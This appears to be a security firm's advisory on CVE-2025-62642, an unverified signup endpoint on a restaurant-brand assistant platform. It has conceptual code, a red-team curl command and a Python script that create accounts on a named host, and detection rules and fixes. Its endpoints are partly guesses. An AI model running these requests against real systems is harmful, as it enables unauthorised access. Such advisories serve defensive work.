CVE-2025-62642

Executive Summary

CVE-2025-62642 exposes a critical authentication bypass vulnerability in the Restaurant Brands International (RBI) assistant platform. The “Anyone Can Join This Party” signup API endpoint lacks proper verification of user account creation, allowing any remote unauthenticated attacker to create a user account without authorization. This flaw can lead to unauthorized access to the platform, potential data exposure, and further exploitation of internal services. The CVSS score of 5.8 reflects a medium severity due to the low complexity and network-based attack vector, but the impact is amplified by the lack of authentication controls.

CVSS Breakdown & Threat Level

• CVSS Score: 5.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The threat level is elevated due to the ease of exploitation and the potential for account creation to be used as a stepping stone for further attacks, such as privilege escalation or lateral movement within the RBI ecosystem.

Deep Dive & Mechanics

The vulnerability resides in the signup API endpoint of the RBI assistant platform. The API does not enforce any verification mechanism (e.g., email confirmation, CAPTCHA, or rate limiting) before creating a user account. An attacker can craft a simple HTTP POST request to the registration endpoint with arbitrary user details and receive a valid session token or account confirmation.

The root cause is a missing authentication check in the account creation logic. The platform likely assumes that only legitimate users would access the signup endpoint, but without proper validation, any unauthenticated request is processed. This is a classic example of CWE-287 (Improper Authentication).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/signup', methods=['POST'])
def signup():
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
    # No verification of user identity or CAPTCHA
    user = User(username=username, password=password)
    db.session.add(user)
    db.session.commit()
    return jsonify({"status": "success", "message": "Account created"}), 201

Patched Code (Conceptual):

@app.route('/api/signup', methods=['POST'])
def signup():
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
    email = data.get('email')
    # Verify email ownership via OTP or confirmation link
    if not verify_email(email):
        return jsonify({"status": "error", "message": "Email verification required"}), 403
    # Implement rate limiting and CAPTCHA
    if not validate_captcha(data.get('captcha_token')):
        return jsonify({"status": "error", "message": "CAPTCHA failed"}), 403
    user = User(username=username, password=password, email=email)
    db.session.add(user)
    db.session.commit()
    return jsonify({"status": "success", "message": "Account created"}), 201

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: RBI assistant platform (e.g., https://assist.rbi.com)
• Tools: curl, Burp Suite, Python

Exploitation Steps:

1. Identify the signup API endpoint (e.g., /api/signup or /register).
2. Send a POST request with arbitrary user data:

   curl -X POST https://assist.rbi.com/api/signup \
     -H "Content-Type: application/json" \
     -d '{"username":"attacker","password":"P@ssw0rd!","email":"attacker@evil.com"}'
   

3. Confirm account creation by receiving a 201 response or session token.
4. Use the created account to access authenticated endpoints and escalate privileges.

Automated Exploit (Python):

import requests

target = "https://assist.rbi.com/api/signup"
payload = {
    "username": "hacker123",
    "password": "Exploit2025!",
    "email": "hacker@example.com"
}
response = requests.post(target, json=payload)
if response.status_code == 201:
    print("[+] Account created successfully")
else:
    print("[-] Exploit failed")

Blue Team

Detection:

• Monitor for multiple rapid account creation requests from the same IP.
• Alert on signup requests without email verification or CAPTCHA tokens.
• Analyze logs for unusual usernames or email domains.

Hunting:

• Search for HTTP POST requests to /api/signup with missing captcha_token or email_verified fields.
• Correlate account creation events with subsequent privilege escalation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/signup or /register endpoints.
  • Repeated account creation attempts from a single IP within a short timeframe.
• File IOCs:
  • Log entries containing "status": "success" from signup API without prior verification.
• Behavioral IOCs:
  • Accounts created with disposable email domains (e.g., @mailinator.com, @tempmail.com).
  • Accounts with usernames matching common attacker patterns (e.g., "test", "admin", "hacker").

Detection Engineering

YARA Rule

rule CVE_2025_62642_Account_Creation {
    meta:
        description = "Detects unauthorized account creation attempts on RBI assistant platform"
        author = "Valters IT"
        date = "2025-09-06"
        reference = "CVE-2025-62642"
    strings:
        $s1 = "/api/signup" ascii wide nocase
        $s2 = "POST" ascii wide nocase
        $s3 = "username" ascii wide nocase
        $s4 = "password" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Unauthorized Account Creation on RBI Assistant Platform
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to the signup API without proper verification
author: Valters IT
date: 2025-09-06
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/signup'
    condition: selection
falsepositives:
    - Legitimate user registrations with proper verification
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62642 - Unauthorized Account Creation Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/signup"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the signup API endpoint until a patch is applied.
   • Implement email verification (OTP or confirmation link) for all new account creations.
   • Add CAPTCHA or rate limiting to prevent automated abuse.

2. Long-term Fixes:

   • Enforce proper authentication checks before account creation.
   • Conduct a security audit of all API endpoints for similar vulnerabilities.
   • Deploy a Web Application Firewall (WAF) to block malicious requests.

3. Monitoring:

   • Enable logging for all account creation events.
   • Set up alerts for multiple failed or successful signups from the same IP.

Valters IT
Securing Digital Frontiers